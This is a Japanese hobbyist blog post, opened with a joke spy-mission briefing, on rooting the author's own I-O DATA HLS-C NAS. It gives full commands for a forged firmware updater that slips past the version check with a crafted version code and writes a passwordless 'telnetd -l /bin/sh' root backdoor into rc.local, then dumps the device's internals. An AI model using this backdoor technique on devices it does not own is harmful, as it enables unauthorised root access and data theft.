HLS-Cシリーズのtelnetdアップデータを作ってみる
おはよう、フェルプス君。
退屈なNASを出し続けるメーカーの製品に、HLS-Cというデバイスがある。某国のスパイが、このデバイスを使用しているが、内部に隠されたデータを奪取するためには、内部に侵入する必要がある。
そこで、君の使命だが、HLS-Cのファームウエアにバックドアを仕掛け、必要な時に内部からデータにアクセスできるようにすることだ。telnetで侵入できる穴をあける手順はすでに解析されている。
バージョンコードの穴は、比較的簡単に見つかったが、これがいつ塞がれるのかはわからない。動作については保証できない。landisk-update.shの動作については、いまだに未解明で、もっと良い侵入方法があるのではないかと考えられる。必要があれば適宜解析・開発してほしい。
例によって、君、もしくは君のメンバーが捕えられ、あるいは殺されても、HLS-Cに正規のファームウエアアップデートが適用できなくなっても、当局は一切関知しないからそのつもりで。
なお、このページは自動的に消滅する。
成功を祈る。
さて、よんどころない事情で、HDL-CM500が手元に来た。
しかし、使い道がないのよね。
Linuxマシンとしても、USBないし拡張性ないので寂しいデバイス。
いじっている人もいないみたい。
つまらん。
しかし、事情が事情だけに、侵入を果たさなくてはならない。
とりあえず穴開けるくらいまではやってみるかな。
いきなり分解して、HDDの中身を解析したりすることもできるけど、最近のは暗号化されてたりするので、そう簡単にもいかないだろう。
なにより開けるのがめんどくさい。
アップデータから攻めるのが常套手段。
アップデーターを取得してみる
ファームイメージのアップデーターくらいは落ちているかな?
ファームウェアダウンロード | サポートライブラリ | I-O DATA | アイ・オー・データ機器
http://www.iodata.jp/lib/firmware/
そっか、こいつらは自動アップデートされるので、ファームイメージの公開してないのかな?
アップデートできない環境にある場合はどうしたらいいんだ?
そういう環境では使わないからいいのか?
製品個別ページには、FWがあった。さっきのページはメンテナンスされていない模様。
HLS-CM500 MacOS用ソフトウェア
http://www.iodata.jp/lib/product/h/5443_mac.htm
過去のバージョンも置いてある。
http://www.iodata.jp/lib/product/h/5443_mac_old.htm
一番新しそうなのを選ぶ。
http://www.iodata.jp/lib/soft/h/hlsc_f111.zip
いまどき、サイトにmd5sumとかsha1sumとか書いてないのおかしいでしょ...
こわれてないのは、サイズ見ろか、zip展開できるかどうかで問題ないとでも思っているんだろうか?
取得する。
$ wget http://www.iodata.jp/lib/soft/h/hlsc_f111.zip $ shasum hlsc_f111.zip 3ff115fb32e9dbc03e9d08cea7fa994c97f019e4 hlsc_f111.zip $ ls -la hlsc_f111.zip -rw-r--r-- 1 kinneko staff 46091527 8 29 13:41 hlsc_f111.zip
展開して中を見る
$ mkdir HLS-CM $ mv hlsc_f111.zip HLS-CM/ $ cd HLS-CM/ $ unzip hlsc_f111.zip Archive: hlsc_f111.zip creating: hlsc_f111/ inflating: hlsc_f111/README.TXT extracting: hlsc_f111/update_HLS-C_1.11.tgz $ cd hlsc_f111 $ cat README.TXT
まさかのSJISかよ...
$ iconv -f SJIS -t UTF-8 README.TXT
読めた。
HLS-Cシリーズの汎用だそうだ。
$ tar zxvfp update_HLS-C_1.11.tgz x ./ x ./landisk-update.sh x ./for_HLS-C_series x ./update-files.tar.gz x ./setting-files.tar.gz x ./rmlist x ./flash_hlsc.env
実行用のシェルスクリプトとアーカイブ群という感じか。
いまだに電子署名も入ってないのは助かるというか、アホかというか。
landisk-update.shは、FIXME!!とかまで書いてある素直なスクリプト。
おそらく、Webフォームからtgz渡すと、cgiでテンポラリなとこに展開されて、その中のlandisk-update.shがキックされる仕組みだろう。
ハードウエアやソフトウエアの情報を変数に取り込んで、展開したファイル群も変数に取り込んで...
これって、一個づつのバージョンでカスタムしている感じだな...
汎用でやってないのはどうしてだろう...
サービス停止、rmlistに書かれたファイルの削除、アップデートファイルと設定ファイルをrootから上書き展開、param.confとかいう設定っぽいのを差し替え、ubootと設定のアップデート、などなど。
なんかベタでコワすぎる。
展開したファイルのチェックもしてないな...
なんか、古代の遺跡を垣間見たような...
rmfilesに
とか見えるということは、SysV-initのシステムだ。
独自起動ルーチンとか、Upstartとかsystemdじゃないのね。
ということで、10年くらい前と同じように、起動ルーチンの中にtelnetdを突っ込めばいいようだ。
もしプリインじゃなかったら、telnetdのバイナリはarmelのなら動くのじゃないだろうか。
基本は、この頃と変わっていない。10年進歩なしとかどういう世界だろう...
[HDL-GT] HDL-GTR telnet有効化アップデータを作ってみる
http://d.hatena.ne.jp/kinneko/20070313/p7
[HDL-GT] telnet有効化アップデータを作ってみる
http://d.hatena.ne.jp/kinneko/20070320/p5
アップデートするファイルのほうを展開してみると、/usr/sbinは使われているようだ。
telnetdとか、busyboxとかの確認はできなかった。アップデーターに全部のファイルが入っているわけじゃないので仕方ない。
一応、いくつかのファームバージョンの中も確認する。
$ wget http://www.iodata.jp/lib/soft/h/hlsc_f110.zip http://www.iodata.jp/lib/soft/h/hlsc_f109.zip http://www.iodata.jp/lib/soft/h/hlsc_f108.zip http://www.iodata.jp/lib/soft/h/hlsc_f107.zip http://www.iodata.jp/lib/soft/h/hlsc_f105.zip http://www.iodata.jp/lib/soft/h/hlsc_f104.zip http://www.iodata.jp/lib/soft/h/hlsc_f103.zip http://www.iodata.jp/lib/soft/h/hlsc_f101.zip
zipを一個づつ展開する。
$ mkdir temp $ cd temp/ $ tar zxvfp ../hlsc_f101/update_hlsc_1.01.tgz $ mv update-files.tar.gz update-files101.tar.gz $ mv setting-files.tar.gz setting-files101.tar.gz $ rm landisk-update.sh for_HLS-C_series rmlist flash_hlsc.env flash_hlsc.uboot
というような作業を地味に繰り返す。
$ ls setting-files101.tar.gz setting-files109.tar.gz update-files105.tar.gz setting-files103.tar.gz setting-files110.tar.gz update-files107.tar.gz setting-files104.tar.gz setting-files111.tar.gz update-files108.tar.gz setting-files105.tar.gz update-files101.tar.gz update-files109.tar.gz setting-files107.tar.gz update-files103.tar.gz update-files110.tar.gz setting-files108.tar.gz update-files104.tar.gz update-files111.tar.gz
全部rootfsから上書きしていけば、最新の差分が出来るか。
$ mkdir rootfs $ cd rootfs/ $ tar zxcfp ../*.tgz $ tar zxvfp ../setting-files101.tar.gz ...
なんだ、setting-files.tar.gzのほうは、/mnt/hda5/.c4/data/setting/を上書きしているだけか。
というか、全部空っぽだよ。
update-files.tar.gzも順に実施。
etc/init.d/verup usr/local/bin/verup.sh usr/local/public/system/detail/system/firmware_download_update.php
こんなものが入っていた。アップデートの仕組みのスタートが見えるかな。
usr/bin, usr/sbin/, sbin/あたりのバイナリやシンボリックリンクにはtelnetdの存在を示すようなものは見当たらない。
時間かけた割には成果はナシか。
ユーザー領域兼用のhda5/hda6があるのはわかった。
hda1,2はuboot/envかな、3はswapだとして、4はbootかな。5はrootfsのROM?
hda6についてがデータ領域という構成を予想。
お仕着せのツールは入れずに割り当てIPアドレスを調べる
Macからは、MagicalFinder入れないと使えないね。
そんなツールとか入れるのやだ。
変なブロードキャスト投げないと返事しない仕様なのか?
メーカー製のアプリって、最近は何仕込まれているかわからない世界なので、できるだけ入れずに済ませられるものなら、入れたくないよね。
Macから、サーバー接続で、smbマウントはゲストでできるようだ。
名前は、HDL-xxxxxxで、xはMACアドレスの末尾6桁。MACアドレスは、本体の下面に書いてある。
アップデータの解析からは、中でavhaiが動いているハズなのに、Bonjourには表示されていない。明示でサービス動かさないと、アナウンスされない仕様なのかな?
smbファイル共有の内容から、アナウンスしているのは、smb://HLS-xxxxxx._smb._tcp.localのようだ。
mdnsのキャッシュデータを拾って、割り当てIPを調べることができそう。
$ dns-sd -G v4 hls-xxxxxx.local DATE: ---Mon 24 Oct 2016--- 22:22:19.032 ...STARTING... Timestamp A/R Flags if Hostname Address TTL 22:22:19.033 Add 2 4 HLS-xxxxxx.local. 192.168.100.147 120
というわけでIPアドレスが判明した。
ブラウザアクセスすると、http://192.168.100.147/system/setpass.phpにリダイレクトされ、管理者パスワードの設定をうながされた。
パスワードを空欄で続行すると、エラーになる。何がしか設定する。
システム->ファームウエアから、バージョンは「現在のファームウェアバージョン:1.10」と表示されている。赤字で「 新しいファームウェアが公開されています。」とも出ている。
あれ?自動アップデートじゃないの?その下に自動アップデートの確認時間を設定できるようになっていた。
再起動時にアップデートするにチェックが付いているので、再起動したら1.11に上がっていた。
なるほど。
まずはアップデーターを作って投げてみる(失敗)
というわけで、調査スクリプトを投げてもいいんだけど、まだ吐き出し先のパスも不明だし、強行するか。
以前調べたGTシリーズでも、バージョン情報を収めたファイルは必須だったので、こちらでも必須だろうと予測できる。
あとは、アップデートスクリプトがキックされているだけかもしれないので、pathだけ通してコマンド実行させるものを作って投げる。
そんなに甘くはないだろうけど。
$ echo "1.99" > for_HLS-C_series $ cat <<EOF > landisk-update.sh > #!/bin/sh -x > PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin > mount -o remount,rw,noatime / > echo "/usr/sbin/telnetd -l /bin/sh" >> /etc/init.d/rc.local > echo "pts/0" >> /etc/securetty > EOF $ chmod +x landisk-update.sh $ tar zcvfp update_telnet199.tgz landisk-update.sh for_HLS-C_series a landisk-update.sh a for_HLS-C_series
update_telnet199.tgzで渡してみる。
この「ファームウェアファイル」は本機種用のファイルではありません。
そう簡単には行かないか。
まさかと思うけど、ファイル名チェックのレベルで弾いているのじゃないよね?
テスト。
$ mv update_telnet199.tgz update_telnet_HLS-C_1.99.tgz
この「ファームウェアファイル」は本機種用のファイルではありません。
失敗。
ダミーファイルを揃えたアップデータを作ってみる(失敗)
ファイルチェックしているのかな?
for_HLS-C_seriesとlandisk-update.shだけでは失敗だった。
rmlist、update-files.tar.gz、setting-files.tar.gzも何らかの形で入っていることを確認しているのかもしれない。アップデータでは、すべて存在していた。
入れたものを作ってみる。
$ mkdir temp $ cd temp/ $ tar zcvfp setting-files.tar.gz ./ a . a ./setting-files.tar.gz: Can't add archive to itself $ ls -al setting-files.tar.gz -rw-r--r-- 1 kinneko staff 123 10 24 22:57 setting-files.tar.gz $ mv setting-files.tar.gz ../ $ tar zcvfp update-files.tar.gz ./ a . a ./update-files.tar.gz: Can't add archive to itself $ ls -al update-files.tar.gz -rw-r--r-- 1 kinneko staff 123 10 24 22:59 update-files.tar.gz $ mv update-files.tar.gz ../ $ cd .. $ tar zcvfp update_telnet_199.tgz for_HLS-C_series landisk-update.sh rmlist update-files.tar.gz setting-files.tar.gz a for_HLS-C_series a landisk-update.sh a rmlist a update-files.tar.gz a setting-files.tar.gz
この「ファームウェアファイル」は本機種用のファイルではありません。
失敗。
名前を変えた、update_telnet_HLS-C_1.99.tgzも試して見たけどダメ。
パースして表示する結果メッセージが出ていないだけで、実行そのものは成功しているとか...
ないかな...
一応再起動して、telnet接続してみる。
$ telnet 192.168.100.147 Trying 192.168.100.147... telnet: connect to address 192.168.100.147: Connection refused telnet: Unable to connect to remote host
失敗。
ないな。
バージョンチェックでひっかかっている?
1.99的な適当バージョンはダメだとか?
前は、現在のバージョンより上だったらいいというチェックだったような。
そこは進化した?
いっそのこと、9.99的なのにしてみたらどうだろう。
0.00とかもありうるけど、こっちは既存のバージョンチェックコードが生きていれば通らない。
プログラマ的にはありがちな抜け道のような。
$ echo 9.99 > for_HLS-C_series $ cat for_HLS-C_series 9.99 $ tar zcvf update_telnet_999.tgz for_HLS-C_series landisk-update.sh rmlist setting-files.tar.gz update-files.tar.gz a for_HLS-C_series a landisk-update.sh a rmlist a setting-files.tar.gz a update-files.tar.gz
この「ファームウェアファイル」は本機種用のファイルではありません。
残念。
なんかログ出てくれないと、対処のしようがないな...
pathの絨毯爆撃を試す
ということは、 landisk-update.shの中身を見ているということかな?
正規のアップデーターを再パッケージしてみたら通るだろうか?
その前に、出荷時状態にしたら、どのバージョンになるのか確認しないと。
システム初期化->初期化と同時に内蔵ディスクの消去を行うを実行。
初期化の進捗は特に見られないのね。不便だわ。いつ終わったかわかんないじゃん。
再起動してるかとか見てられないし。
ピッとかプッとかも言わないような仕様。ブザーすらないのかよ。原価低減に寄せすぎ設計だな。
再起動してきたのをチェック。
現在のファームウェアバージョン:1.11
ということは、初期化といっても出荷時に書き換えられるわけじゃない。
これは前から変わらない。
無闇とバージョン上げるわけにもいかないか...
同じバージョンでも上書き適用されるかもしれないので試す。
$ mkdir temp $ cd temp/ $ tar zxvf ../update_HLS-C_1.11.tgz x ./ x ./landisk-update.sh x ./for_HLS-C_series x ./update-files.tar.gz x ./setting-files.tar.gz x ./rmlist x ./flash_hlsc.env x ./flash_hlsc.uboot
今回は、戦術的には、pathで指定された範囲には、たぶんbusyboxか、telnetdがいるだろうという予測で全弾投入の絨毯爆撃方式で行くことにする。
アップデート後については、システム再起動をされてしまうので、一時的にtelnetdを起動するのは、それほど意味が無い。ヒアドキュメントで、rc.localに書き込む。
rc.localの置き場所としては、sysvinitでは、普通は/etc/rc.d/rc.localか。後はBSD系だと/etc/rc.localとか、/etc/init.d/rc.localがある。
どこかが起動できれば、他で有効なものがあっても、ポートを専有しているのでエラーで起動できないはずだ。/etc/securettyにptsを追加する必要は、おそらくないだろうから省く。
landisk-update.shの中で、ボリュームをrwでリマウントした後あたりに仕込む。
cat <<EOF >> /etc/rc.d/rc.local /usr/local/sbin/busybox telnetd -l /bin/sh /usr/local/bin/busybox telnetd -l /bin/sh /sbin/busybox telnetd -l /bin/sh /bin/busybox telnetd -l /bin/sh /usr/sbin/busybox telnetd -l /bin/sh /usr/bin/busybox telnetd -l /bin/sh /usr/local/sbin/telnetd -l /bin/sh /usr/local/bin/telnetd -l /bin/sh /sbin/telnetd -l /bin/sh /bin/telnetd -l /bin/sh /usr/sbin/telnetd -l /bin/sh /usr/bin/telnetd -l /bin/sh EOF cat <<EOF >> /etc/rc.local /usr/local/sbin/busybox telnetd -l /bin/sh /usr/local/bin/busybox telnetd -l /bin/sh /sbin/busybox telnetd -l /bin/sh /bin/busybox telnetd -l /bin/sh /usr/sbin/busybox telnetd -l /bin/sh /usr/bin/busybox telnetd -l /bin/sh /usr/local/sbin/telnetd -l /bin/sh /usr/local/bin/telnetd -l /bin/sh /sbin/telnetd -l /bin/sh /bin/telnetd -l /bin/sh /usr/sbin/telnetd -l /bin/sh /usr/bin/telnetd -l /bin/sh EOF cat <<EOF >> /etc/init.d/rc.local /usr/local/sbin/busybox telnetd -l /bin/sh /usr/local/bin/busybox telnetd -l /bin/sh /sbin/busybox telnetd -l /bin/sh /bin/busybox telnetd -l /bin/sh /usr/sbin/busybox telnetd -l /bin/sh /usr/bin/busybox telnetd -l /bin/sh /usr/local/sbin/telnetd -l /bin/sh /usr/local/bin/telnetd -l /bin/sh /sbin/telnetd -l /bin/sh /bin/telnetd -l /bin/sh /usr/sbin/telnetd -l /bin/sh /usr/bin/telnetd -l /bin/sh EOF
固める。
$ tar zcvf ../update_HLS-C_1.11fake.tgz ./* a ./flash_hlsc.env a ./flash_hlsc.uboot a ./for_HLS-C_series a ./landisk-update.sh a ./rmlist a ./setting-files.tar.gz a ./update-files.tar.gz
流し込んで見る。
現バージョン以降のファームウェアファイルを指定して下さい。
$ telnet 192.168.100.147
Trying 192.168.100.147...
telnet: connect to address 192.168.100.147: Connection refused
telnet: Unable to connect to remote host
残念だ。
今後の不整合を覚悟して、バージョン情報を上げるか。
たぶん、内部の数字でしか見てないと思うので、あとでその数字だけ戻しておけば、辻褄が合うような気もする。
バージョンコードについては、landisk-update.shの中では処理されていないので、どこに書かれているかはいまのところ不明。
判定ミスを狙って、ちょっと微妙なバージョンコードを使ってみる。
$ echo "1.1101" > for_HLS-C_series $ cat for_HLS-C_series 1.1101 $ tar zcvf ../update_HLS-C_1.1101fake.tgz ./* a ./flash_hlsc.env a ./flash_hlsc.uboot a ./for_HLS-C_series a ./landisk-update.sh a ./rmlist a ./setting-files.tar.gz
ファームウェアを指定してアップデート
本体が再起動します。
アップデート完了まで時間がかかりますので、
しばらく時間を置いてから再度ログオン画面からアクセスをお願いします。
HLS-C 1.1101へ更新を行います。
おお、通った!
この方法の欠点としては、rc.localが正規のアップデーターで上書きされてしまうようであれば、再度適用する必要がある。たぶん、なさそうな気もするけど。
あとは、妙なバージョンコードになっているので、アップデーターの判定処理が今後のアップデートで失敗する可能性があるあたりか。
管理画面が起動してきたので、表示を見る。
現在のファームウェアバージョン:1.11
なんだこれ。小数点以下2桁しか見てないのか?
それとも適用外になったのか?
管理画面のログからも成功したことがわかる。
2016/10/24 22:52:18 ファームウェア:更新:1.1101
telnetしてみる。
$ telnet 192.168.100.147 Trying 192.168.100.147... Connected to 192.168.100.147. Escape character is '^]'. Debian GNU/Linux 4.0 sh-3.1#
通った。
ってか、Debian 4.0っていつの昔よ?
バージョンコードの置き場所を調べる。
/etcあたりだろうと、あたりを付けて見ると、それっぽいのがあった。
sh-3.1# cat /etc/version 1.11 sh-3.1# cat /var/lib/model pcb HLS-C model HLS-C product HLS-C submodel subsubmodel product_full HLS-C500 firmware HLS-C version 1.11
/etcの下には、これ以外にはなさそうだ。
他に1.11や1.1101が格納されたファイルは見つけられなかった。
つまり、そのままで問題ない状態と言えるだろう。
しかし、どうして二ヶ所にあるのか。
これも未精算の歴史的経緯?
幸いなことに、この妙なバージョンコードだと、何度でも上書きインストールができる。
面白い実装でつね。
rc.localの有効性を調べる。
動作中のプロセスを見る。
sh-3.1# ps ax | grep telnetd 2879 ? Ss 0:00 telnetd -l /bin/sh
最初にフックされたのは、busyboxの呼び出しではないようだ。
コマンド類はパスの通ったところにはない。
sh-3.1# which telnetd sh-3.1# which busybox
sh-3.1# find / | grep telnetd /usr/local/sbin/telnetd sh-3.1# find / | grep busybox /usr/local/bin/busybox
telnetdの実態は、busyboxへのシンボリックリンクだった。
sh-3.1# ls -l /usr/local/sbin/telnetd lrwxrwxrwx 1 root root 14 Oct 24 22:53 /usr/local/sbin/telnetd -> ../bin/busybox
呼ばれて起動したのは、/usr/local/sbin/telnetdだということはわかった。
/etc/rc.localはあるが、上書きできなかった。
initramfs経由のものかもしれない。
sh-3.1# ls -al /etc/rc.local -rwxr-xr-x 1 root root 2522 Oct 23 2015 /etc/rc.local
/etc/init.d/rc.localは追記に成功している。
sh-3.1# ls -al /etc/init.d/rc.local -rwxr-xr-x 1 root root 1196 Oct 24 22:51 /etc/init.d/rc.local
有効だったものはこれかもしれない。
/etc/init.d/rc.localも追記に失敗している。
sh-3.1# ls -al /etc/rc.d/rc.local ls: /etc/rc.d/rc.local: No such file or directory
/etcの下をさぐってみると、他の場所にも転記されているのがわかる。
しかし、これはシンボリックリンクだった。
sh-3.1# ls -l /etc/rc2.d/S99rc.local /etc/rc3.d/S99rc.local /etc/rc4.d/S99rc.local lrwxrwxrwx 1 root root 18 Oct 24 22:53 /etc/rc2.d/S99rc.local -> ../init.d/rc.local lrwxrwxrwx 1 root root 18 Oct 24 22:53 /etc/rc3.d/S99rc.local -> ../init.d/rc.local lrwxrwxrwx 1 root root 18 Oct 24 22:53 /etc/rc4.d/S99rc.local -> ../init.d/rc.local
sysvinitがランレベルの処理の中で自動でやったのだろう。
それ以外にも、etcの下で処理が見つかった。
/etc/rc.local:[ -f /etc/beta ] && /usr/local/bin/busybox telnetd -l /bin/sh
/etc/betaがあると、telnedが起動するように作られているのがわかる。
開発時のデバッグ用のフラッグといったところか。
これは、busyboxから呼んでいる。
現在はbetaファイルはない。
sh-3.1# ls /etc/beta ls: /etc/beta: No such file or directory
telnetdのシンボリックリンクがあるのに、busyboxを呼んでいるのは、整合性が取れないような感じを受けるので、以前の名残で、現在は使われていないのかもしれない。
というわけで、landisk-update.shに仕込むべきは、以下だけだったということがわかった。
cat <<EOF >> /etc/init.d/rc.local /usr/local/sbin/telnetd -l /bin/sh EDF
一応、rc.localから削って再起動してみる。
sh-3.1# mount -o remount,rw,noatime / sh-3.1# vi /etc/init.d/rc.local /usr/local/sbin/telnetd -l /bin/sh
Web管理画面から再起動。
$ telnet 192.168.100.147 Trying 192.168.100.147... Connected to 192.168.100.147. Escape character is '^]'. Debian GNU/Linux 4.0 sh-3.1#
成功。
内部環境の調査。
ざっと、参考までに内部環境の調査を行う。
smbでの共有エリアは、/mnt/sataraid1/share/disk/になるようだ。
/mnt/sataraid1の実態は、/dev/sda6になる。
inittabやsecurettyにはttyS0が書かれているので、基板にアクセスポートがあれば、シリアルからのアクセスは可能ではないかと思われる。
/etc/securetty:ttyS0 /etc/inittab:1:2345:respawn:/sbin/getty 115200 ttyS0 vt100 /etc/inittab:#T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100 /etc/apcupsd/apcupsd.conf:DEVICE /dev/ttyS0
kernel。
sh-3.1# uname -a Linux HLS-542CBD.iodata 2.6.31.8 #6 Mon Jul 6 19:21:13 JST 2015 armv5tel GNU/Linux
CPU。
sh-3.1# cat /proc/cpuinfo Processor : Feroceon 88FR131 rev 1 (v5l) BogoMIPS : 999.42 Features : swp half thumb fastmult edsp CPU implementer : 0x56 CPU architecture: 5TE CPU variant : 0x2 CPU part : 0x131 CPU revision : 1 Hardware : Feroceon-KW Revision : 0000 Serial : 0000000000000000
パーティション構造。
sh-3.1# parted -i GNU Parted 1.7.1 Using /dev/sda Welcome to GNU Parted! Type 'help' to view a list of commands. (parted) print Disk /dev/sda: 500GB Sector size (logical/physical): 512B/512B Partition Table: gpt Number Start End Size File system Name Flags 1 20.5kB 537MB 537MB ext3 primary 2 537MB 1611MB 1074MB ext3 primary 3 1611MB 3758MB 2147MB linux-swap primary 4 3758MB 3892MB 134MB primary 5 3892MB 4429MB 537MB ext3 primary 6 4429MB 500GB 496GB xfs primary (parted) quit
sh-3.1# df -h Filesystem Size Used Avail Use% Mounted on rootfs 1008M 371M 628M 38% / /dev/root 1008M 371M 628M 38% / tmpfs 122M 848K 121M 1% /mnt/tmpfs tmpfs 122M 0 122M 0% /lib/init/rw tmpfs 122M 0 122M 0% /dev/shm /dev/sda1 504M 210M 269M 44% /boot /dev/sda5 500M 39M 436M 9% /mnt/hda5 /dev/sda6 462G 4.8M 462G 1% /mnt/sataraid1
sh-3.1# cat /proc/mounts rootfs / rootfs rw 0 0 /dev/root / ext3 ro,noatime,errors=remount-ro,data=writeback 0 0 tmpfs /mnt/tmpfs tmpfs rw,relatime 0 0 tmpfs /lib/init/rw tmpfs rw,nosuid,relatime,mode=755 0 0 proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0 sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0 usbfs /proc/bus/usb usbfs rw,nosuid,nodev,noexec,relatime 0 0 tmpfs /dev/shm tmpfs rw,nosuid,nodev,relatime 0 0 devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620 0 0 /dev/sda1 /boot ext3 ro,noatime,errors=continue,data=writeback 0 0 /dev/sda5 /mnt/hda5 ext3 rw,relatime,errors=continue,data=writeback 0 0 /dev/sda6 /mnt/sataraid1 xfs rw,relatime,attr2,noquota 0 0
メモリ。
sh-3.1# free total used free shared buffers cached Mem: 247944 241596 6348 0 45288 143292 -/+ buffers/cache: 53016 194928 Swap: 2097148 0 2097148
sh-3.1# cat /proc/meminfo MemTotal: 247944 kB MemFree: 7120 kB Buffers: 45288 kB Cached: 142504 kB SwapCached: 0 kB Active: 54896 kB Inactive: 163904 kB Active(anon): 836 kB Inactive(anon): 31260 kB Active(file): 54060 kB Inactive(file): 132644 kB Unevictable: 0 kB Mlocked: 0 kB SwapTotal: 2097148 kB SwapFree: 2097148 kB Dirty: 0 kB Writeback: 0 kB AnonPages: 31028 kB Mapped: 18668 kB Slab: 17204 kB SReclaimable: 8276 kB SUnreclaim: 8928 kB PageTables: 1236 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 2221120 kB Committed_AS: 103996 kB VmallocTotal: 385024 kB VmallocUsed: 18024 kB VmallocChunk: 360444 kB
プロセス。
sh-3.1# ps ax PID TTY STAT TIME COMMAND 1 ? Ss 0:03 init [2] 2 ? S< 0:00 [kthreadd] 3 ? S< 0:00 [ksoftirqd/0] 4 ? S< 0:00 [watchdog/0] 5 ? S< 0:00 [events/0] 6 ? S< 0:00 [khelper] 9 ? S< 0:00 [async/mgr] 103 ? S< 0:00 [kblockd/0] 112 ? S< 0:00 [khubd] 118 ? S< 0:00 [kslowd] 119 ? S< 0:00 [kslowd] 137 ? S 0:00 [crypto] 138 ? S 0:00 [crypto_ret] 145 ? S 0:00 [khungtaskd] 146 ? S 0:00 [pdflush] 147 ? S 0:00 [pdflush] 148 ? S< 0:00 [kswapd0] 149 ? S< 0:00 [aio/0] 150 ? S< 0:00 [nfsiod] 154 ? S< 0:00 [xfs_mru_cache] 155 ? S< 0:00 [xfslogd/0] 156 ? S< 0:00 [xfsdatad/0] 157 ? S< 0:00 [xfsconvertd/0] 158 ? S< 0:00 [crypto/0] 475 ? S< 0:00 [scsi_eh_0] 476 ? S< 0:00 [scsi_eh_1] 494 ? S< 0:00 [mtdblockd] 519 ? S< 0:00 [kstriped] 521 ? S< 0:00 [kcryptd/0] 529 ? S< 0:00 [rpciod/0] 674 ? S< 0:00 [kjournald] 916 ? S< 0:00 [kjournald] 917 ? S< 0:00 [kjournald] 1636 ? Ss 0:00 /usr/bin/dbus-daemon --system 1655 ? S 0:00 /usr/sbin/ifplugd -i eth0 -q -f -u0 -d1 -w -I 1770 ? Ss 0:00 syslogd -m 0 -s 49 1904 ? S 0:00 avahi-daemon: registering [HLS-542CBD.local] 1905 ? Ss 0:00 avahi-daemon: chroot helper 1924 ? Ss 0:00 /usr/sbin/cron 2112 ? Ss 0:00 /opt/dpws/server -b /var/log/dpws_bootSeq 2116 ? S 0:00 /opt/dpws/server -b /var/log/dpws_bootSeq 2117 ? S 0:00 /opt/dpws/server -b /var/log/dpws_bootSeq 2155 ? Ss 0:00 /usr/local/udhcpc/udhcpc -a -r 192.168.100.147 -p /var 2160 ? Ss 0:07 /usr/sbin/apache2 -k start 2172 ? S 0:01 /usr/local/bin/HDLFind 2177 ? S 0:00 /usr/local/bin/HDLFind_port65 2307 ? S 0:00 /usr/local/bin/usbhdmng 2364 ? S< 0:00 [xfsbufd] 2365 ? S< 0:00 [xfsaild] 2366 ? S< 0:00 [xfssyncd] 2380 ? S 0:01 /usr/sbin/snmpd -Lsd -Lf /dev/null -u snmp -I -smux - 2422 ? Ss 0:00 /usr/sbin/nmbd -D 2424 ? Ss 0:00 /usr/sbin/smbd -D 2431 ? S 0:00 /usr/sbin/smbd -D 2435 ? S 0:00 /mnt/hda5/twonky/twonkystarter -appdata /mnt/sataraid 2436 ? S 0:01 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2438 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2440 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2448 ? Ss 0:01 python /mnt/hda5/bin/nasdsync --daemon /var/run/nasds 2450 ? Ss 0:00 /bin/sh /mnt/hda5/bin/nasdsync_watchdogd.sh 2521 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2529 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2530 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2531 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2532 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2533 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2534 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2535 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2536 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2537 ? S 0:04 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2540 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2541 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2542 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2543 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2544 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2545 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2546 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2547 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2548 ? S 0:02 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2549 ? S 0:01 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2551 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2552 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2554 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2556 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2596 ? S 0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1 2655 ? Ss 0:00 /bin/sh /usr/local/rl3/bin/logd.sh 2657 ? Ss 0:06 /bin/sh /usr/local/rl3/bin/watchdogd.sh 2680 ? Ss 0:01 ./tou_server 2682 ? S 0:00 ./tou_server 2683 ? S 0:00 ./tou_server 2686 ? S 0:04 ./tou_server 2687 ? S 0:14 ./tou_server 2703 ? Ss 0:00 ./device_process 2879 ? Ss 0:00 telnetd -l /bin/sh 2919 ttyS0 Ss+ 0:00 /sbin/getty 115200 ttyS0 vt100 3003 ? S 0:00 /usr/sbin/apache2 -k start 3004 ? S 0:03 /usr/sbin/apache2 -k start 3005 ? S 0:00 /usr/sbin/apache2 -k start 3006 ? S 0:01 /usr/sbin/apache2 -k start 3008 ? S 0:00 /usr/sbin/apache2 -k start 3649 